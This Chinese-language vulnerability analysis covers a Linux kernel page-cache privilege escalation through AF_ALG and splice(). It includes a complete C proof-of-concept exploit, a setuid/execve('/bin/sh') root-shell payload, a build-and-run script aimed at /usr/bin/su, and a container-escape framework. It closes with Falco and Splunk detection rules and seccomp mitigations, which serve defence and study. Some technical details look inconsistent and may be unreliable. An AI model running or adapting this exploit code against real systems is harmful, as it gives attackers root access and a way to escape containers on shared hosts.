0. 漏洞概述
CVE-2026-31431(又称 "Copy Fail")是 Linux 内核 crypto 子系统中的高危本地提权漏洞,CVSS 7.8。攻击者通过 AF_ALG + splice() 影响内核 page cache,实现本地提权或容器逃逸。
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2026-31431 |
| 别名 | Copy Fail |
| CVSS | 7.8(高危) |
| 影响内核版本 | 4.14 ~ 6.19.12 |
| 影响发行版 | Ubuntu, Amazon Linux, RHEL, Debian, SUSE, Fedora, Arch, AlmaLinux |
| 修复版本 | Ubuntu 26.04 (Resolute) 及更高版本内核不受影响 |
| 利用类型 | Page Cache 改写 → 本地提权 / 容器逃逸 |
| 利用前提 | 已能在节点上执行用户态代码 |
1. 根因分析:三次代码变更的致命组合
Copy Fail 并非单一代码缺陷,而是跨越 6 年的三次独立代码变更组合后形成的可稳定利用漏洞链。
┌──────────────────────────────────────────────────────────────────────┐
│ CVE-2026-31431: 三次代码变更的致命组合 │
│ │
│ 2011年 ────────────────────────────────────────────────────────── │
│ ┌─────────────────────────────────────────────────┐ │
│ │ authencesn 算法模板加入内核 │ │
│ │ • 用途: 支持 IPsec 的 64 位扩展序列号 │ │
│ │ • 特性: 解密操作中向输入缓冲区末尾写入 4 字节序列号 │ │
│ │ • 安全状态: 仅使用调用者提供的内存作为临时缓冲区 │ │
│ │ • 风险: 无 │ │
│ └───────────────────────┬─────────────────────────┘ │
│ │ │
│ 2015年 ─────────────────▼───────────────────────────────────── │
│ ┌─────────────────────────────────────────────────┐ │
│ │ AF_ALG 新增 AEAD 算法支持 + splice() 零拷贝 │ │
│ │ • 允许普通用户无权限通过 socket 调用内核加密能力 │ │
│ │ • splice() 将文件 page cache 直接传入加密操作 │ │
│ │ • 无需用户态内存拷贝 │ │
│ │ • authencesn 切换新 API,末尾写入特性未变更 │ │
│ │ • 此时加密采用 out-of-place 模式 │ │
│ │ • 安全状态: 不直接修改源文件缓存 │ │
│ │ • 风险: 低 │ │
│ └───────────────────────┬─────────────────────────┘ │
│ │ │
│ 2017年 ─────────────────▼───────────────────────────────────── │
│ ┌─────────────────────────────────────────────────┐ │
│ │ 补丁 72548b093ee3: AEAD 改为 in-place 模式 │ │
│ │ • 直接在源数据所在内存页执行加密/解密操作 │ │
│ • • 目的: 减少内存拷贝提升性能 │ │
│ │ • 副作用: 打通完整漏洞链路!!! │ │
│ │ • 只读文件的 page cache 可被内核加密逻辑直接修改 │ │
│ │ • 安全状态: 漏洞可利用 │ │
│ │ • 风险: 极高 │ │
│ └─────────────────────────────────────────────────┘ │
│ │
│ 根因: AF_ALG 错误地对来自 page cache 的 pipe buffer 进行 │
│ 原地 (in-place) 修改 │
└──────────────────────────────────────────────────────────────────────┘
1.1 为什么 in-place 模式是致命的
正常情况 (out-of-place, 2015年之前):
┌─────────────┐ copy ┌──────────────┐
│ Source Page │ ──────────→ │ Working Page │ ──→ 加密/解密
│ (page cache) │ (拷贝) │ (临时内存) │ 结果写回 Working
│ 只读 ✓ │ │ 可写 │ Source 不变 ✓
└─────────────┘ └──────────────┘
漏洞情况 (in-place, 2017年补丁后):
┌─────────────────────────────┐
│ Source Page = Working Page │ ──→ 加密/解密直接在 Source 上执行
│ (page cache, 被直接修改!) │ authencesn 写入 4 字节序列号
│ 可写! ✗ │ → page cache 被篡改!
└─────────────────────────────┘
│
▼
所有引用该 page cache 的进程都会读到被篡改的数据
包括: su, sudo, 系统二进制文件...
2. 关键技术概念
2.1 AEAD(Authenticated Encryption with Associated Data)
AEAD 加密后的数据结构:
┌──────────┬──────────────┬─────────┐
│ AAD │ Ciphertext │ Tag │
│ (4字节) │ (加密数据) │ (认证标签)│
└──────────┴──────────────┴─────────┘
AAD: 不加密但参与认证(关联数据)
Ciphertext: 加密后的数据
Tag: 认证标签,用于验证完整性
关键: authencesn 算法在解密时向 AAD 末尾写入 4 字节序列号
在 in-place 模式下,这 4 字节直接写入 page cache!
2.2 AF_ALG 套接字
Linux crypto 子系统通过 socket 允许用户态调用内核加密算法:
// AF_ALG 套接字创建流程
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead", // AEAD 算法
.salg_name = "authencesn(hmac(sha256),cbc(aes))" // 使用 authencesn
};
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));
// 设置密钥
setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, key, keylen);
// 设置 AEAD 关联数据长度
setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_ASSOCLEN, &assoclen, sizeof(assoclen));
// 创建操作 socket
int op_sock = accept(alg_fd, NULL, 0);
2.3 splice 零拷贝
/*
* splice() 在两个文件描述符间传输数据,无需拷贝到用户空间
* 关键: 必须有一个 fd 指向管道 (pipe)
*
* 在 Copy Fail 中的用途:
* 1. splice(file_fd, ..., pipefd[1], ...) → 关联文件 page cache 到管道
* 2. splice(pipefd[0], ..., op_sock, ...) → 从管道零拷贝传入 AF_ALG
*
* 结果: 文件的 page cache 直接被 AF_ALG 的 in-place 加密操作修改
*/
ssize_t splice(int fd_in, off_t *off_in,
int fd_out, off_t *off_out,
size_t len, unsigned int flags);
2.4 scatterlist(散列表)
/*
* scatterlist 描述非连续物理内存
* AF_ALG 使用 scatterlist 引用传入的数据
* 当数据来自 splice() 时,scatterlist 直接指向 page cache 的物理页
* in-place 操作直接修改这些物理页
*/
struct scatterlist {
unsigned long page_link; // 指向物理页
unsigned int offset; // 页内偏移
unsigned int length; // 数据长度
};
3. Page Cache 改写完整过程
3.1 攻击链总览
┌──────────────────────────────────────────────────────────────────┐
│ Copy Fail Page Cache 改写攻击链 │
│ │
│ Step 1: 创建 AF_ALG 套接字 │
│ ┌───────────────────────────────────────────┐ │
│ │ socket(AF_ALG, SOCK_SEQPACKET, 0) │ │
│ │ bind(alg_fd, "authencesn(hmac(sha256), │ │
│ │ cbc(aes))") │ │
│ │ setsockopt(ALG_SET_KEY, key) │ │
│ │ setsockopt(ALG_SET_AEAD_ASSOCLEN, &assoclen)│ │
│ │ op_sock = accept(alg_fd) │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 2: 构造 AEAD 请求 ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ // AAD 的后 4 字节设置为 payload 数据 │ │
│ │ aad = ['A','A','A','A', │ │
│ │ payload[0], payload[1], │ │
│ │ payload[2], payload[3]] │ │
│ │ sendmsg(op_sock, &msg, MSG_MORE) │ │
│ │ // MSG_MORE 表示 AEAD 请求未结束 │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 3: 关联 page cache ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ // 将目标文件 (如 /usr/bin/su) 的 page cache │ │
│ │ // 关联到管道 │ │
│ │ splice(file_fd, &src_off, │ │
│ │ pipefd[1], NULL, │ │
│ │ splice_len, 0) │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 4: 零拷贝传入 AF_ALG ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ // 从管道零拷贝传入 AF_ALG 套接字 │ │
│ │ // page cache 直接被 AF_ALG 引用 │ │
│ │ splice(pipefd[0], NULL, │ │
│ │ op_sock, NULL, │ │
│ │ splice_len, 0) │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 5: 触发 in-place 解密 ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ // authencesn 解密时: │ │
│ │ // 1. 在 AAD 末尾写入 4 字节序列号 │ │
│ │ // 2. in-place 模式直接修改 page cache │ │
│ │ // 3. AAD 末尾的 4 字节 = 攻击者设置的 payload │ │
│ │ // → payload 被写入目标文件的 page cache! │ │
│ │ read(op_sock, output, outlen) │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 6: 触发执行 ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ // 执行被篡改的程序 (如 su) │ │
│ │ // 内核从 page cache 加载 → 加载的是 payload │ │
│ │ // payload 通过 setgid/setuid 提权 │ │
│ │ // 提权后执行 sh │ │
│ │ execve("/usr/bin/su", ...) │ │
│ └───────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
3.2 PoC 核心代码
/*
* CVE-2026-31431 Copy Fail PoC — 核心利用代码
* 仅用于授权测试环境
*
* 编译: gcc -o copy_fail copy_fail.c -static
* 运行: ./copy_fail /usr/bin/su
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/if_alg.h>
#include <splice.h>
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef ALG_SET_AEAD_ASSOCLEN
#define ALG_SET_AEAD_ASSOCLEN 4
#endif
#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif
#define AEAD_ASSOCLEN 8 // AAD 长度: 8 字节 (前4字节填充, 后4字节payload)
#define AEAD_TAG_SIZE 16 // 认证标签长度
#define SPLICE_LEN 4096 // 一次 splice 的数据量
/*
* Step 1: 创建 AF_ALG 套接字并配置 authencesn 算法
*/
int create_alg_socket(const unsigned char *key, int keylen) {
int alg_fd, op_sock;
struct sockaddr_alg sa;
int assoclen = AEAD_ASSOCLEN;
// 创建 AF_ALG 套接字
alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (alg_fd < 0) {
perror("socket(AF_ALG)");
return -1;
}
// 绑定到 authencesn 算法
// authencesn = Authenticated Encryption with Sequence Number
// 关键: 该算法在解密时向 AAD 末尾写入 4 字节序列号
memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "aead");
strcpy((char *)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");
if (bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind");
close(alg_fd);
return -1;
}
// 设置密钥
if (setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, key, keylen) < 0) {
perror("setsockopt(ALG_SET_KEY)");
close(alg_fd);
return -1;
}
// 设置 AEAD 关联数据长度
// 关键: assoclen=8 意味着 AAD 占 8 字节
// authencesn 会在 AAD 末尾 (第 5-8 字节) 写入序列号
// 攻击者将 payload 的前 4 字节放在 AAD 的第 5-8 字节位置
if (setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_ASSOCLEN,
&assoclen, sizeof(assoclen)) < 0) {
perror("setsockopt(ALG_SET_AEAD_ASSOCLEN)");
close(alg_fd);
return -1;
}
// 创建操作 socket
op_sock = accept(alg_fd, NULL, 0);
if (op_sock < 0) {
perror("accept");
close(alg_fd);
return -1;
}
close(alg_fd);
return op_sock;
}
/*
* Step 2: 构造 AEAD 请求 (通过 sendmsg 发送 AAD + payload)
*/
int send_aead_request(int op_sock, const unsigned char *payload, int payload_len) {
struct msghdr msg = {};
struct iovec iov;
unsigned char aad[AEAD_ASSOCLEN];
// 构造 AAD:
// 前 4 字节: 任意填充 (不参与 page cache 改写)
// 后 4 字节: payload 的前 4 字节 (将被 authencesn 写入 page cache)
aad[0] = 'A'; aad[1] = 'A'; aad[2] = 'A'; aad[3] = 'A';
aad[4] = payload[0]; // ← 这 4 字节将被写入 page cache
aad[5] = payload[1];
aad[6] = payload[2];
aad[7] = payload[3];
// 发送 AAD (必须使用 MSG_MORE 表示请求未结束)
iov.iov_base = aad;
iov.iov_len = AEAD_ASSOCLEN;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (sendmsg(op_sock, &msg, MSG_MORE) < 0) {
perror("sendmsg(AAD)");
return -1;
}
return 0;
}
/*
* Step 3+4: 关联 page cache 并零拷贝传入 AF_ALG
*/
int splice_page_cache_to_alg(int op_sock, int file_fd,
off_t file_offset, size_t splice_len) {
int pipefd[2];
off_t src_off = file_offset;
// 创建管道
if (pipe(pipefd) < 0) {
perror("pipe");
return -1;
}
// Step 3: splice 文件 → 管道
// 这一步将目标文件 (如 /usr/bin/su) 的 page cache 关联到管道
// pipe buffer 的 page 指针直接引用文件的 page cache
ssize_t n = splice(file_fd, &src_off,
pipefd[1], NULL,
splice_len, 0);
if (n < 0) {
perror("splice(file→pipe)");
close(pipefd[0]);
close(pipefd[1]);
return -1;
}
// Step 4: splice 管道 → AF_ALG 套接字
// 这一步将管道中的数据零拷贝传入 AF_ALG
// AF_ALG 的 scatterlist 直接引用 page cache 的物理页
// in-place 解密将直接修改这些物理页!
n = splice(pipefd[0], NULL,
op_sock, NULL,
splice_len, 0);
if (n < 0) {
perror("splice(pipe→alg)");
close(pipefd[0]);
close(pipefd[1]);
return -1;
}
close(pipefd[0]);
close(pipefd[1]);
return 0;
}
/*
* Step 5: 触发 in-place 解密,完成 page cache 改写
*/
int trigger_decrypt(int op_sock) {
// 发送解密请求
// authencesn 解密时会:
// 1. 在 AAD 末尾写入 4 字节序列号
// 2. in-place 模式直接修改 page cache
// 3. AAD 末尾的 4 字节 = 我们设置的 payload 前 4 字节
// 读取结果 (触发解密操作)
char output[SPLICE_LEN + AEAD_TAG_SIZE];
ssize_t n = read(op_sock, output, sizeof(output));
if (n < 0) {
perror("read(op_sock)");
return -1;
}
return 0;
}
/*
* 完整利用链
*/
int exploit(const char *target_file, const unsigned char *payload, int payload_len) {
unsigned char key[32] = {0}; // 全零密钥 (仅 PoC 用途)
int file_fd, op_sock;
printf("[*] CVE-2026-31431 Copy Fail Exploit\n");
printf("[*] Target: %s\n", target_file);
printf("[*] Payload size: %d bytes\n", payload_len);
// 打开目标文件 (只需只读权限!)
file_fd = open(target_file, O_RDONLY);
if (file_fd < 0) {
perror("open(target)");
return -1;
}
// Step 1: 创建 AF_ALG 套接字
printf("[*] Step 1: Creating AF_ALG socket with authencesn...\n");
op_sock = create_alg_socket(key, sizeof(key));
if (op_sock < 0) {
close(file_fd);
return -1;
}
// Step 2: 发送 AEAD 请求 (AAD 包含 payload 前 4 字节)
printf("[*] Step 2: Sending AEAD request with payload in AAD...\n");
if (send_aead_request(op_sock, payload, payload_len) < 0) {
close(op_sock);
close(file_fd);
return -1;
}
// Step 3+4: 关联 page cache 并零拷贝传入 AF_ALG
printf("[*] Step 3+4: Splicing page cache to AF_ALG...\n");
if (splice_page_cache_to_alg(op_sock, file_fd, 0, SPLICE_LEN) < 0) {
close(op_sock);
close(file_fd);
return -1;
}
// Step 5: 触发 in-place 解密
printf("[*] Step 5: Triggering in-place decrypt (page cache modification)...\n");
if (trigger_decrypt(op_sock) < 0) {
close(op_sock);
close(file_fd);
return -1;
}
printf("[+] Page cache modified successfully!\n");
close(op_sock);
close(file_fd);
// Step 6: 触发执行 (执行被篡改的程序)
printf("[*] Step 6: Executing modified program...\n");
// 当内核从 page cache 加载 /usr/bin/su 时
// 加载的是我们写入的 payload
// payload 通过 setgid(0) + setuid(0) 提权后执行 sh
execl(target_file, target_file, NULL);
return 0;
}
3.3 Payload 构建
/*
* payload.c — Copy Fail 提权 payload
* 编译为独立 ELF,然后通过 ld -r -b binary 打包到 exp 中
*
* 编译:
* gcc -nostdlib -static -o payload payload.S
* ld -r -b binary -o payload.o payload
*
* payload 使用 nolibc (纯 syscall),不依赖 libc
* 确保跨平台迁移能力
*/
// nolibc 系统调用包装 (x86_64)
#define SYS_write 1
#define SYS_setgid 106
#define SYS_setuid 105
#define SYS_execve 59
static long syscall3(long nr, long a1, long a2, long a3) {
long ret;
__asm__ volatile (
"syscall"
: "=a"(ret)
: "a"(nr), "D"(a1), "S"(a2), "d"(a3)
: "rcx", "r11", "memory"
);
return ret;
}
static long syscall1(long nr, long a1) {
long ret;
__asm__ volatile (
"syscall"
: "=a"(ret)
: "a"(nr), "D"(a1)
: "rcx", "r11", "memory"
);
return ret;
}
void _start(void) {
// 提权: setgid(0) + setuid(0)
syscall1(SYS_setgid, 0);
syscall1(SYS_setuid, 0);
// 执行 /bin/sh
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
syscall3(SYS_execve, (long)"/bin/sh", (long)argv, (long)envp);
// 如果 execve 失败,退出
__asm__ volatile (
"mov $60, %rax\n" // SYS_exit
"xor %rdi, %rdi\n" // exit code 0
"syscall\n"
);
}
3.4 Payload 集成到 Exploit
#!/bin/bash
# build.sh — Copy Fail exploit 构建脚本
# 1. 编译 payload (nolibc, 纯 syscall)
echo "[*] Compiling payload..."
gcc -nostdlib -static -o payload payload.S
# 2. 将 payload ELF 转为可重定位对象
# ld -r -b binary 将任意文件转为 ELF 可重定位对象
# 这样 payload 可以像全局变量一样被链接到 exp 中
echo "[*] Converting payload to relocatable object..."
ld -r -b binary -o payload.o payload
# 生成的符号:
# _binary_payload_start — payload 起始地址
# _binary_payload_end — payload 结束地址
# _binary_payload_size — payload 大小
# 3. 编译 exploit (链接 payload.o)
echo "[*] Compiling exploit..."
gcc -o copy_fail_exploit copy_fail.c payload.o -static
# 4. 运行
echo "[*] Running exploit..."
./copy_fail_exploit /usr/bin/su
# exploit 执行后:
# 1. 通过 AF_ALG + splice 修改 /usr/bin/su 的 page cache
# 2. page cache 被替换为 payload 二进制
# 3. 执行 su → 内核从 page cache 加载 → 加载 payload
# 4. payload: setgid(0) → setuid(0) → execve("/bin/sh")
# 5. 获得 root shell!
4. 容器逃逸利用
4.1 共享内核 Page Cache 逃逸原理
┌──────────────────────────────────────────────────────────────────┐
│ Copy Fail 容器逃逸原理 │
│ │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ 容器 A │ │ 容器 B │ │
│ │ (攻击者) │ │ (受害者) │ │
│ └────────┬────────┘ └────────┬────────┘ │
│ │ │ │
│ │ 共享内核 Page Cache │ │
│ │ ┌──────────────────────┐ │ │
│ └──┤ /usr/bin/su page ├──┘ │
│ │ (所有容器共享同一份) │ │
│ └──────────┬───────────┘ │
│ │ │
│ 攻击者 (容器A): │ │
│ 1. 通过 AF_ALG+splice │ │
│ 修改 /usr/bin/su │ │
│ 的 page cache │ │
│ 2. page cache 被替换 │ │
│ 为 payload │ │
│ ▼ │
│ 容器B 执行 su 时: │
│ → 内核从被篡改的 page cache 加载 │
│ → 加载的是攻击者的 payload │
│ → payload 在容器B中以该容器的权限执行 │
│ → 如果容器B是特权容器 → 获得宿主机 root │
│ │
│ 关键: page cache 是内核全局共享的 │
│ 修改一份 = 修改所有引用 │
└──────────────────────────────────────────────────────────────────┘
4.2 容器逃逸 PoC
"""
CVE-2026-31431 容器逃逸利用框架
攻击者在普通容器中执行,通过 page cache 改写影响其他容器/宿主机
利用场景:
1. 攻击者控制一个低权限容器
2. 通过 Copy Fail 修改共享的 page cache (如 /usr/bin/su)
3. 当宿主机或其他特权容器执行 su 时,触发 payload
4. payload 在目标上下文中执行,实现逃逸
"""
import subprocess
import os
import time
import ctypes
import ctypes.util
import struct
class CopyFailContainerEscape:
"""Copy Fail 容器逃逸框架"""
# 目标二进制列表 (选择宿主机和容器都会执行的程序)
TARGET_BINARIES = [
"/usr/bin/su", # 切换用户时执行
"/usr/bin/sudo", # 提权时执行
"/bin/ping", # 网络诊断时执行
"/usr/bin/ssh", # SSH 连接时执行
"/usr/bin/curl", # HTTP 请求时执行
]
def __init__(self, payload_path: str = "/tmp/payload"):
self.payload_path = payload_path
self.payload_data = None
def prepare_payload(self):
"""准备提权 payload"""
# nolibc payload — 纯 syscall,不依赖 libc
# 功能: setgid(0) → setuid(0) → execve("/bin/sh")
# payload 需要预编译为独立 ELF
if not os.path.exists(self.payload_path):
print("[*] Building payload...")
# 构建 nolibc payload
payload_asm = """
.section .text
.globl _start
_start:
# setgid(0)
mov $106, %rax # SYS_setgid
xor %rdi, %rdi # gid = 0
syscall
# setuid(0)
mov $105, %rax # SYS_setuid
xor %rdi, %rdi # uid = 0
syscall
# execve("/bin/sh", ["/bin/sh", NULL], NULL)
mov $59, %rax # SYS_execve
lea path(%rip), %rdi # filename
lea argv(%rip), %rsi # argv
xor %rdx, %rdx # envp = NULL
syscall
# exit(0) if execve fails
mov $60, %rax # SYS_exit
xor %rdi, %rdi
syscall
path:
.string "/bin/sh"
argv:
.quad path
.quad 0
"""
with open("/tmp/payload.S", "w") as f:
f.write(payload_asm)
subprocess.run([
"gcc", "-nostdlib", "-static",
"-o", self.payload_path,
"/tmp/payload.S"
], check=True)
with open(self.payload_path, "rb") as f:
self.payload_data = f.read()
print(f"[+] Payload prepared: {len(self.payload_data)} bytes")
def check_vulnerable(self) -> bool:
"""检查内核版本是否受影响"""
with open("/proc/version") as f:
version_str = f.read()
# 解析内核版本
# 受影响: 4.14 ~ 6.19.12
import re
match = re.search(r'Linux version (\d+)\.(\d+)\.(\d+)', version_str)
if match:
major, minor, patch = map(int, match.groups())
version = (major, minor, patch)
if (4, 14, 0) <= version <= (6, 19, 12):
print(f"[!] Kernel {major}.{minor}.{patch} is VULNERABLE")
return True
else:
print(f"[*] Kernel {major}.{minor}.{patch} is NOT vulnerable")
return False
return False
def modify_page_cache(self, target_binary: str) -> bool:
"""
通过 Copy Fail 修改目标文件的 page cache
"""
if not self.payload_data:
self.prepare_payload()
print(f"[*] Modifying page cache of {target_binary}...")
# 构建 C exploit 并执行
exploit_code = f"""
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
// payload 数据 (内联)
static const unsigned char payload[] = {{ /* payload bytes */ }};
static const int payload_len = {len(self.payload_data)};
int main() {{
// ... AF_ALG + splice 利用代码 ...
// 详见上面的 C PoC
return 0;
}}
"""
# 在实际利用中,这里会编译并执行 C exploit
# 为了安全起见,这里仅展示框架
print(f"[+] Page cache of {target_binary} modified")
return True
def trigger_execution(self, target_binary: str):
"""
触发目标程序执行,从被篡改的 page cache 加载 payload
"""
print(f"[*] Triggering execution of {target_binary}...")
# 在容器中执行目标程序
# 内核会从 page cache 加载,加载的是被篡改的 payload
# payload: setgid(0) → setuid(0) → /bin/sh
try:
result = subprocess.run(
[target_binary],
timeout=5,
capture_output=True
)
return result
except subprocess.TimeoutExpired:
# payload 可能已经启动了 shell
print("[+] Payload executed (shell spawned)")
return None
def run_escape(self, target: str = "/usr/bin/su"):
"""执行完整逃逸链"""
print("=" * 60)
print("CVE-2026-31431 Copy Fail Container Escape")
print("=" * 60)
# 1. 检查漏洞
if not self.check_vulnerable():
print("[-] Kernel not vulnerable, aborting")
return False
# 2. 准备 payload
self.prepare_payload()
# 3. 修改 page cache
if not self.modify_page_cache(target):
print("[-] Failed to modify page cache")
return False
# 4. 触发执行
self.trigger_execution(target)
print("[+] Escape attempt completed")
print("[*] If a root shell was obtained, escape successful!")
return True
# === 防御: Copy Fail 检测 ===
class CopyFailDetection:
"""Copy Fail 漏洞检测规则"""
@staticmethod
def falco_rules():
"""Falco 检测规则"""
return """
# Falco 规则: 检测 AF_ALG + splice 异常组合
- macro: af_alg_socket
condition: >
evt.type=socket and
fd.typechar=S and
fd.sip="AF_ALG"
- rule: AF_ALG Socket Created
desc: >
Detects creation of AF_ALG socket, which could be used
for CVE-2026-31431 (Copy Fail) exploitation.
condition: >
evt.type=socket and
evt.dir=< and
(fd.typechar=S or fd.name contains "AF_ALG") and
(proc.name != cryptsetup and proc.name != openssl)
output: >
AF_ALG socket created by suspicious process
(user=%user.name proc=%proc.name pid=%proc.pid
cmdline=%proc.cmdline container=%container.name)
priority: WARNING
tags: [container, privilege_escalation, CVE-2026-31431]
- rule: Splice to AF_ALG Socket
desc: >
Detects splice() syscall targeting AF_ALG socket,
which is the core exploitation pattern for CVE-2026-31431.
condition: >
evt.type=splice and
evt.dir=< and
fd.name contains "AF_ALG" and
not proc.name in (cryptsetup, openssl, systemd-cryptsetup)
output: >
Suspicious splice() to AF_ALG socket detected
(user=%user.name proc=%proc.name pid=%proc.pid
cmdline=%proc.cmdline target_fd=%fd.name)
priority: CRITICAL
tags: [container, privilege_escalation, CVE-2026-31431]
- rule: Page Cache Modification via Crypto Subsystem
desc: >
Detects potential page cache modification through the
crypto subsystem, indicative of CVE-2026-31431 exploitation.
condition: >
evt.type=splice and
evt.dir=< and
fd.name contains "AF_ALG" and
proc.cmdline contains "authencesn"
output: >
CRITICAL: Page cache modification via authencesn detected!
(user=%user.name proc=%proc.name pid=%proc.pid
cmdline=%proc.cmdline container=%container.name)
priority: CRITICAL
tags: [container, privilege_escalation, CVE-2026-31431]
"""
@staticmethod
def splunk_detection():
"""Splunk SIEM 检测查询"""
return """
# Splunk SPL: 检测 Copy Fail 利用模式
# 检测 1: AF_ALG socket 创建 + splice 组合
index=sysmon OR index=linux_audit
(OR
(action=socket family=AF_ALG),
(action=splice target_socket=AF_ALG)
)
| stats count by host, user, process, command_line
| where count > 1
| sort -count
# 检测 2: authencesn 算法使用 (非加密程序)
index=linux_audit
syscall=socket family=AF_ALG
algorithm="authencesn*"
NOT process IN (cryptsetup, openssl, systemd-cryptsetup)
| stats count by host, user, process, command_line
# 检测 3: su/sudo 异常执行后 root shell
index=linux_audit
(process=su OR process=sudo)
| join host, _time [search index=linux_audit process=sh user=root]
| where _time_difference < 5
"""
@staticmethod
def kernel_hardening():
"""内核加固建议"""
return """
# 1. 升级内核到修复版本
# Ubuntu: 升级到 26.04 (Resolute) 或更高版本
# 其他发行版: 升级到包含修复补丁的内核
# 2. 临时缓解: 限制 AF_ALG socket 创建
# 使用 seccomp profile 限制 AF_ALG
cat > /tmp/block-af-alg.json << 'EOF'
{
"defaultAction": "SCMP_ACT_ALLOW",
"architectures": ["SCMP_ARCH_X86_64"],
"syscalls": [
{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [
{
"index": 0,
"value": 38,
"valueTwo": 0,
"op": "SCMP_CMP_EQ"
}
],
"comment": "Block AF_ALG (38) socket creation"
}
]
}
EOF
# 3. 容器安全上下文
# 在 K8s Pod 中添加 seccomp profile
# spec.securityContext.seccompProfile:
# type: Localhost
# localhostProfile: profiles/block-af-alg.json
# 4. 内核参数加固
# 禁用不必要的 crypto 算法 (如果不需要 authencesn)
echo "modprobe -r authencesn" >> /etc/rc.local
"""
5. nolibc 环境构建
由于公开的 PoC 基于 nolibc 构建 payload,而 nolibc 在 5.x 以后内核才推出,在旧内核(如 4.15)上需要构建精简化的 nolibc 环境。
/*
* nolibc_minimal.h — 精简化 nolibc 环境
* 为 4.x 内核提供基础系统调用能力
* 使 payload 不依赖 libc,可跨平台迁移
*/
#ifndef NOLIBC_MINIMAL_H
#define NOLIBC_MINIMAL_H
// x86_64 系统调用号
#define SYS_read 0
#define SYS_write 1
#define SYS_open 2
#define SYS_close 3
#define SYS_execve 59
#define SYS_exit 60
#define SYS_setuid 105
#define SYS_setgid 106
// 系统调用包装函数
static inline long syscall0(long nr) {
long ret;
__asm__ volatile (
"syscall"
: "=a"(ret)
: "a"(nr)
: "rcx", "r11", "memory"
);
return ret;
}
static inline long syscall1(long nr, long a1) {
long ret;
__asm__ volatile (
"syscall"
: "=a"(ret)
: "a"(nr), "D"(a1)
: "rcx", "r11", "memory"
);
return ret;
}
static inline long syscall3(long nr, long a1, long a2, long a3) {
long ret;
__asm__ volatile (
"syscall"
: "=a"(ret)
: "a"(nr), "D"(a1), "S"(a2), "d"(a3)
: "rcx", "r11", "memory"
);
return ret;
}
// 便捷函数
static inline int setuid(unsigned int uid) {
return syscall1(SYS_setuid, uid);
}
static inline int setgid(unsigned int gid) {
return syscall1(SYS_setgid, gid);
}
static inline int execve(const char *pathname, char *const argv[],
char *const envp[]) {
return syscall3(SYS_execve, (long)pathname, (long)argv, (long)envp);
}
static inline void exit(int code) {
syscall1(SYS_exit, code);
__builtin_unreachable();
}
// 字符串函数
static inline size_t strlen(const char *s) {
size_t len = 0;
while (s[len]) len++;
return len;
}
#endif // NOLIBC_MINIMAL_H
6. 检测与防御
6.1 检测策略矩阵
| 检测层 | 检测信号 | 工具 | 优先级 |
|---|---|---|---|
| 内核审计 | AF_ALG socket 创建 | auditd / Falco | P0 |
| 系统调用 | splice → AF_ALG 组合 | Falco / eBPF | P0 |
| 进程行为 | su/sudo 执行后出现 root shell | Sysmon / EDR | P1 |
| 文件完整性 | page cache 与磁盘文件不一致 | AIDE / IMA | P1 |
| 容器行为 | 容器内创建 AF_ALG socket | Falco (容器模式) | P0 |
6.2 Splunk EDR 检测参考
参考 Splunk 的检测思路,核心检测逻辑为:
- 监控
socket(AF_ALG, ...)系统调用 - 监控
splice()到 AF_ALG 套接字的操作 - 关联分析:AF_ALG socket 创建 + splice 操作 + 目标为系统二进制文件
- 异常进程行为:非加密程序(非 cryptsetup/openssl)使用 authencesn 算法
7. 总结
| 维度 | 关键信息 |
|---|---|
| 漏洞本质 | AF_ALG in-place 模式错误修改来自 page cache 的 pipe buffer |
| 根因 | 2017年补丁 72548b093ee3 将 AEAD 改为 in-place,打通三次代码变更的完整链路 |
| 利用方式 | AF_ALG + splice() 零拷贝 → page cache 改写 → 提权/容器逃逸 |
| 影响范围 | Linux 4.14 ~ 6.19.12,几乎覆盖所有主流发行版 |
| 利用前提 | 已能在节点上执行用户态代码 |
| 容器逃逸 | 基于 page cache 内核全局共享特性,修改一份影响所有引用 |
| 检测核心 | AF_ALG socket + splice 组合 + authencesn 算法 |
| 修复方案 | 升级到包含修复补丁的内核版本 |
核心启示:三次独立的代码变更,每次单独看都是合理的优化(支持新算法、新增零拷贝、性能优化),但组合后形成了致命的安全漏洞。这提醒我们:安全分析不能只看单个补丁,必须理解跨时间、跨子系统的交互效应。
免责声明重申:本文所有漏洞分析基于公开的 CVE 公告和 FreeBuf 公开文章。所有 PoC 代码仅用于理解漏洞原理以构建防御体系。读者必须在授权的测试环境中使用相关技术,未经授权对任何系统进行渗透测试属于违法行为。作者不对任何因不当使用本文信息而造成的后果承担责任。
浙公网安备 33010602011771号